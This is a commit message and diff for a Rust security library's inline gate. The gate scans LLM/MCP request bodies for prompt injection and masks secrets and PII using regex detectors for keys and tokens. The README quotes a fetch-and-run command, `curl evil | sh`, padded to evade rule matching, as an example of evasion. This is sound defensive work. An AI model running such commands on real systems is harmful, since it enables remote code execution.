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feat(inline): inline content gate — inspect_wire + secret/PII masking (#1)
Pre-execution counterpart to the reactive observer-event pipeline (agentfw on-wire detection + credential masking). inspect_wire wraps decoded wire content as an SslContent event and reuses the L1-L3 tiers verbatim; the new piece is masking — overlap-merged secret/PII spans with a reversible placeholder map. Built-in detectors: PEM/OpenAI/Stripe/Google/AWS/GitHub/Slack/JWT/Bearer/labelled/email. Fail-open posture (masking always applies; malice escalates). New src/inline.rs (+tests); exposed via Sentry::inspect_wire. Co-authored-by: RoyLin <roylin@RoyLindeMacBook-Pro.local>
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README.md

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sinks — is shown in each SDK's README. Event builders (`egress`, `toolExec`, `dns`, `fileAccess`,
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`sslContent`, `securityAction`) construct the event JSON `evaluate` takes.
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## Inline gate — pre-execution, on the wire
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The L1–L3 tiers also run **inline**: before an agent's LLM/MCP request reaches the model, judge the
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decoded body and **redact secrets/PII from it** (the agentfw-style local firewall). Detection reuses
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the existing tiers verbatim — the wire content is wrapped as an `SslContent` event, so the built-in
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`prompt-injection` / `secret-in-egress` rules (and any L2 LLM guard) fire with no new judging logic.
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The one genuinely new piece is **masking**: concrete spans the proxy swaps for placeholders outbound
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and restores inbound, so the real secret never leaves the machine.
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```rust
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use a3s_sentry::{Sentry, Direction};
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let sentry = Sentry::create("sentry.acl")?;
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let d = sentry.inspect_wire(request_body, Direction::Request);
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if d.blocked() { /* → 4xx, never forward */ }
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let (masked, restores) = d.apply(request_body); // forward `masked`; reverse `restores` on the response
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```
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`inspect_wire` returns an [`InlineDecision`] (`crate::inline`): the tiered `Decision` plus a
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`Vec<Redaction>` (byte spans, each with a stable `{{A3S_REDACTED:<kind>:<n>}}` placeholder). `apply`
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swaps every span for its placeholder right-to-left (so earlier offsets stay valid) and returns the
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masked text plus a `placeholder → original` map the proxy keeps to restore the real values on the
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paired response. **Detection and masking are orthogonal** — content can be allowed *and* still have a
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key masked out of it; a `Block` only stops forwarding, it doesn't gate redaction.
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The built-in detector set is regex-driven and conservative: PEM private keys, provider key shapes
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(OpenAI `sk-`, Stripe `sk_live_`/`sk_test_`, Google `AIza…`, AWS `AKIA…` + `aws_secret_access_key`,
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GitHub, Slack, JWT), `Bearer` / labelled secrets (`api_key=`, `token=`, `password=`, … — only the
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value is masked, the label kept for context), and emails. Overlapping matches are **merged into one
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span** (folding the overlapper in by extending the span's end, never dropping it) so a secret can
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never leave an unmasked tail.
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**Posture is fail-open**: masking *always* applies, but a detection only **escalates** — a
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prompt-injection request is held *only* if an L2 guard hard-blocks it (or `A3S_SENTRY_FAIL_CLOSED=1`
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resolves the unsettled escalation to `Block`). For a safety-first inline gate run an L2 or set
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`fail_closed`; rules-only + fail-open still masks secrets but forwards the request.
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The inline transport lives in **a3s-gateway** (`wire` feature) — a local proxy at `/wire/<agent>/...`
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that decodes the call, calls `inspect_wire`, applies the verdict, and forwards the masked request to
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the real provider.
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## Speculative parallelism
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By default the tiers run serially (L2, then L3 only if L2 escalates). Set `A3S_SENTRY_SPECULATE=high`
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bytes** — a `sh -c "<padding>; curl evil | sh"` outruns every content rule. Treat L1 as fast triage
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that catches lazy cases and escalates the rest; the real boundary is L2/L3 or an observer
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egress/exec **allow-list**, not L1's block list.
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- **Reactive, not a pre-execution gate.** Sentry acts on observer's events, so it blocks the *next*
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dangerous action / future connections — the flagged action itself has already executed. A true
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input gate (hold a prompt until judged) needs an inline proxy, which breaks zero-instrumentation;
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the `Judge` pipeline is transport-agnostic, so an inline mode can be added later.
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- **Two paths, by design.** The observer-event path is *reactive*: sentry acts on observer's events,
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so it blocks the *next* dangerous action / future connections — the flagged action itself has
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already executed. For a true *pre-execution* gate (hold a prompt until judged), sentry now exposes an
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**inline gate**[`inspect_wire`](#inline-gate--pre-execution-on-the-wire) — driven by an inline
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proxy ([a3s-gateway](https://github.com/A3S-Lab/Gateway)'s `wire` feature) instead of observer's
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kernel events. The two are complementary: the inline proxy sees only traffic routed through it;
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observer's kernel path stays the backstop for anything that bypasses it (raw sockets, an agent that
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ignores the base URL).
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- **Fail-open by default.** If a tier escalates but the next tier is absent or erroring, sentry
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*allows*. So **rules-only + fail-open enforces no `escalate` rule** (sentry warns loudly at
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startup). Set `A3S_SENTRY_FAIL_CLOSED=1` and/or configure L2/L3 for safety-first deployments.

src/inline.rs

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//! Inline content gate — judge an in-flight LLM/MCP request or response *before* it reaches the
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//! model, and redact secrets/PII from it on the way out.
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//!
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//! This is the inline counterpart to the reactive observer-event pipeline. Sentry's README calls it
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//! out as the missing piece:
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//!
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//! > Reactive, not a pre-execution gate … A true input gate (hold a prompt until judged) needs an
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//! > inline proxy … the `Judge` pipeline is transport-agnostic, so an inline mode can be added later.
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//!
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//! a3s-gateway's wire proxy is that inline transport: on each decoded request/response body it calls
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//! [`inspect`](Pipeline) (via [`Sentry::inspect_wire`](crate::Sentry::inspect_wire)). The detection
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//! reuses the existing tiers verbatim — the wire content is wrapped as an [`Event::SslContent`] and
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//! run through the same [`Pipeline`], so the built-in `prompt-injection` / `secret-in-egress` rules
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//! (and any L2 LLM guard) fire with no new judging logic. The one genuinely new piece is **masking**:
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//! producing concrete spans the proxy swaps for placeholders outbound and restores inbound, so the
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//! real secret never leaves the machine.
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//!
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//! Detection (block/allow) and masking (redact) are orthogonal: content can be allowed *and* still
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//! have a key masked out of it. The proxy maps `Block` → 4xx and applies [`InlineDecision::redactions`].
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use crate::event::{Event, Identity, ObservedEvent};
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use crate::pipeline::Pipeline;
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use crate::verdict::{Decision, Verdict};
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use regex::Regex;
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use serde::Serialize;
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use std::collections::HashMap;
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use std::sync::OnceLock;
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/// Which leg of the call this content is — labels the synthesized event and, for the proxy, which
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/// side to redact (mask on the request, restore on the paired response).
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#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
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#[serde(rename_all = "lowercase")]
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pub enum Direction {
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/// Agent → model (the prompt / tool args). Secrets here must not reach the upstream.
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Request,
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/// Model → agent (the completion). Restore placeholders; still scanned for leaks.
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Response,
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}
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/// One secret/PII span to redact. `start`/`end` are byte offsets into the inspected content (UTF-8,
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/// regex byte offsets). `placeholder` is the stable ASCII token the proxy swaps in and reverses on
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/// the matching response.
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#[derive(Debug, Clone, PartialEq, Eq, Serialize)]
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pub struct Redaction {
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pub start: usize,
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pub end: usize,
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/// `"openai_key"` | `"aws_secret"` | `"private_key"` | `"bearer"` | `"email"` | …
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pub kind: &'static str,
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pub placeholder: String,
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}
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/// The inline verdict: the tiered [`Decision`] plus any spans to redact before forwarding.
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#[derive(Debug, Clone, Serialize)]
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pub struct InlineDecision {
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pub decision: Decision,
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pub redactions: Vec<Redaction>,
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}
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impl InlineDecision {
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/// `true` when the gate decided to stop this content (proxy → 4xx).
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pub fn blocked(&self) -> bool {
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self.decision.verdict == Verdict::Block
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}
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/// Apply the redactions to `content`, returning the masked text and a `placeholder → original`
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/// map the proxy keeps to restore the real values on the paired response. Spans are applied
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/// right-to-left so earlier offsets stay valid.
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pub fn apply(&self, content: &str) -> (String, HashMap<String, String>) {
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let mut out = content.to_owned();
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let mut restores = HashMap::new();
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// Right-to-left: replacing a later span never shifts an earlier span's offsets.
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let mut spans: Vec<&Redaction> = self.redactions.iter().collect();
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spans.sort_by(|a, b| b.start.cmp(&a.start));
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for r in spans {
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if r.end > out.len() || r.start > r.end {
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continue; // defensive: never panic on a stale span
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}
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restores.insert(r.placeholder.clone(), content[r.start..r.end].to_owned());
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out.replace_range(r.start..r.end, &r.placeholder);
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}
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(out, restores)
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}
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}
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/// Run wire `content` through the same tiered pipeline (as an `SslContent` event) and the masking
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/// detector. Detection reuses every configured tier; masking is the built-in secret/PII span set.
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pub fn inspect(pipeline: &Pipeline, content: &str, dir: Direction) -> InlineDecision {
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let ev = ObservedEvent {
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identity: Identity::default(),
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provider: None,
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event: Event::SslContent {
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pid: 0,
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is_read: dir == Direction::Response,
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content: content.to_owned(),
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},
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raw: String::new(),
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};
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redactions: redactions(content),
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}
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}
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/// A built-in secret/PII detector: each entry is `(kind, regex, value_group)`. `value_group = 0`
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/// redacts the whole match; otherwise the named capture's span (so `api_key=SECRET` masks only
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/// `SECRET`, keeping the label for context). Conservative + extensible — ACL-driven custom patterns
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// ponytail: built-in regex set, not ACL-configurable yet — add a `mask {}` ACL block if sites need
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// custom patterns; the proxy contract (spans in → placeholders out) doesn't change.
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fn detectors() -> &'static [(&'static str, Regex, usize)] {
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static D: OnceLock<Vec<(&'static str, Regex, usize)>> = OnceLock::new();
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D.get_or_init(|| {
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let pat = |k: &'static str, re: &str, g: usize| (k, Regex::new(re).unwrap(), g);
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vec![
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pat(
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r"-----BEGIN (?:[A-Z0-9 ]+ )?PRIVATE KEY-----[\s\S]*?-----END (?:[A-Z0-9 ]+ )?PRIVATE KEY-----",
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pat("openai_key", r"\bsk-[A-Za-z0-9_-]{20,}\b", 0),
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pat("stripe_key", r"\b[rs]k_(?:live|test)_[A-Za-z0-9]{16,}\b", 0),
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pat("google_api_key", r"\bAIza[0-9A-Za-z_-]{35}\b", 0),
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pat("aws_access_key_id", r"\bAKIA[0-9A-Z]{16}\b", 0),
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pat("github_token", r"\bgh[oprsu]_[A-Za-z0-9]{36,}\b", 0),
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pat("slack_token", r"\bxox[baprs]-[A-Za-z0-9-]{10,}\b", 0),
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pat(
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r"\beyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\b",
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pat(
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r#"(?i)\b(?:api[_-]?key|secret|token|password|passwd|pwd)\b\s*[:=]\s*['"]?([^\s'"]{12,})"#,
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fn redactions(content: &str) -> Vec<Redaction> {
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#[cfg(test)]
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mod tests {
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use super::*;
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use crate::rules::{LiveRules, RuleEngine};
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#[test]
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fn masks_openai_key_and_restores() {
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}
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}
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}

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